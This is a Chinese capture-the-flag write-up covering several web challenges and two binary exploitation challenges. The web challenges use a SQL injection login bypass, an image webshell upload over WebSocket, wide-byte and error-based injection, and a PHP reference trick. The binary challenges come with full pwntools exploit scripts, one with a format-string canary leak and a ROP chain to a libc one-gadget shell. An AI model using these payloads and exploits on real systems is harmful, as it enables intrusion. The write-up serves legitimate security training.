Writeup for 13届国赛

本文最后更新于:2021年1月24日 凌晨

Web_urbeautiful

这个题真的是一波三折,花了好长时间。万幸的是有队友细心且给力,最后终于是拿下了。这么费力的题一定要记录一下对吧。首先看题目入口,看看描述(没用)

靶机只有一个登录入口,fuzz 之后发现存在万能密码

用户名: '-''# 密码任意
登录后台,存在上传点,上传正常图片抓包发现没有数据包产生
F12 打开控制台查看网络发现使用 websocket 传输

此处用的是@skyxiaoyu 大佬的 WebSocket 测试工具,感谢大佬
使用 set action 上传文件
./ 绕过后缀名检查,上传 php 脚本文件但不解析。猜测服务端检测了文件内容是否为图片格式,于是将 phpinfo 语句写到图片里上传验证

如上图,phpinfo 在正常图片里可以被解析。思路得到证实,于是制作图片马上传

Hackbar 连接图片马,接下来就是找 flag 了

flag{5cdbd30292]

Web_basqli


首页 IP ERROR ! ONLY LOCALHOST !

加 XFF 头 127.0.0.1
Fuzz

Username 处宽字节注入
过滤 and,union select 等。用 or 和内敛注释绕过,得 flag 的表名

报错注入出 flag

flag{99f2384dc8}

Web_noclass


用原生类 stdClass,传入一个引入$c得变量$input,即可绕过 if 处得判断,因为引用是将指针指向原变量地址,所存储得值也一样,所以可以成功获取 flag

Pwn-gamaover

首先用 ida 打开程序 可以看出是个 c++程序 经过浏览之后 我们可以看出是在三个跳出三个 while 循环就可以到达后门函数


输入 1 就会进入然后进行下列函数 不是 1 会跳出第一层循环

输入 2 会进行 scanf 函数输入

在这里发现当第一次输入的是 7 时可以跳出第二层 while 循环,然后进行比较 v17 和 v18 的值 如果相等就跳出第三层循环然后执行后门函数,V18 是我们输入的 v17 是系统的,查看 v17 可以发现在这些地方出现

进入 sub_FCA 函数可以看到 v17 怎么得来的

然后经过转换得到 v17 所以我们只要得到这个输入即可,而我们的 v17 主要通过给出的大数得来 然后进行 RSA 解密,解密之前需要先得到其他两个值 通过输入 1 然后得到其他两个值,输入 2 即可 scanf 其中输入的值位于.bss 段,通过 RSA 解密 赋值给 V17 输入即可相等跳转到后门函数
编写出 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
import time
import gmpy2

\#p=remote("172.1.26.12",9999)

p=process('./gameover')

M=int("67a737395fc8953d729633be3f37ba438da756fd02c74fd9e93afb26c2e21c1fc27e5df670fd92d21cdc2a895072f9c39a688cb30f32902a77268bd2fb60e79d7edc130ddf608c173d1bfe8cc3b9e6a3103bc45f64c69b65bb5830c038fedcc326e3b6ecd2adc5686b19177e64a78dc96c8a1b052a0058dad59ad134c79c729f",16)

p.recvuntil('option:')
p.sendline('2')
p.recvuntil('message:')
p.sendline('a'*0x20+p64(17))

p.sendlineafter('option:','1')
p.recvuntil('ciphertext:')
A=int(p.recv(256),16)

p.recvuntil('option:')
p.sendline('2')
p.recvuntil('message:')
p.sendline('a'*0x20+p64(18))

p.sendlineafter("option:",'1')
p.recvuntil('ciphertext:')
B=int(p.recv(256),16)
R=(B*gmpy2.invert(A,M))%M

p.sendlineafter('option:','7')
p.sendline(hex(R)[2:])

p.interactive()

Pwn_easystackrop

首先查看一下防护:

开启了 nx 和 canary 防护

这里有格式化字符串漏洞 我们可以利用来绕过 canary
64 位的 canary 机制,会在函数头部添加:

1
2
mov  rax,QWORD PTR fs:0x28        //从fs:0x28寄存器中取一个值
mov QWORD PTR [rbp-0x8],rax //写入当前栈帧底部(RBP前方第一个数)

结尾部分添加:

1
2
3
4
mov  rcx,QWORD PTR [rbp-0x8]       //把金丝雀值取出
xor rcx,QWORD PTR fs:0x28 //比较与寄存器中的是否一样
je xxxxx //函数正常退出
call 0x400580 <__stack_chk_fail@plt> //__stack_chk_fail()函数功能为报告栈损坏

canary 的值一般是 rbp-8 的位置,有时候会在 rbp 到 rsp 之间,并且以 0x00 结尾
然后我们利用格式化字符串泄露 canary 的值,从 ctfwiki 上有介绍可以利用%15$p 打印
接下里是 nx 绕过
我们可以在下面的 vnlner 函数绕过

现在需要构造后门函数 题目给了里 libc.so 文件 用来泄露 libc 的基址 利用 onegadget 工具得到基址即可

编写的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

p = process('./pwn')
\#p = remote('172.1.26.13','9999')
elf = ELF("./pwn")

libc = ELF("libc-2.23.so")

rdi_addr = 0x400903
vuln_addr = 0x400786
got_addr = elf.got['read']
plt_addr = elf.plt['puts']
offset = '%15$p'
gadget_addr = 0x45226
p.recvline('hello:')
p.sendline(offset)
canary = int(p.recv(18),16)

p.recv()
payload = 'a'*0x38 + p64(canary) + 'a'*8 + p64(rdi_addr) + p64(got_addr)+p64(plt_addr)+p64(vuln_addr)
p.sendline(payload)

read_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.symbols["read"]
execv_addr = libc_base+gadget_addr

payload = 'a'*0x38 + p64(canary) + 'a'*8 + p64(execv_addr)
p.sendline(payload)
p.recv()
p.interactive()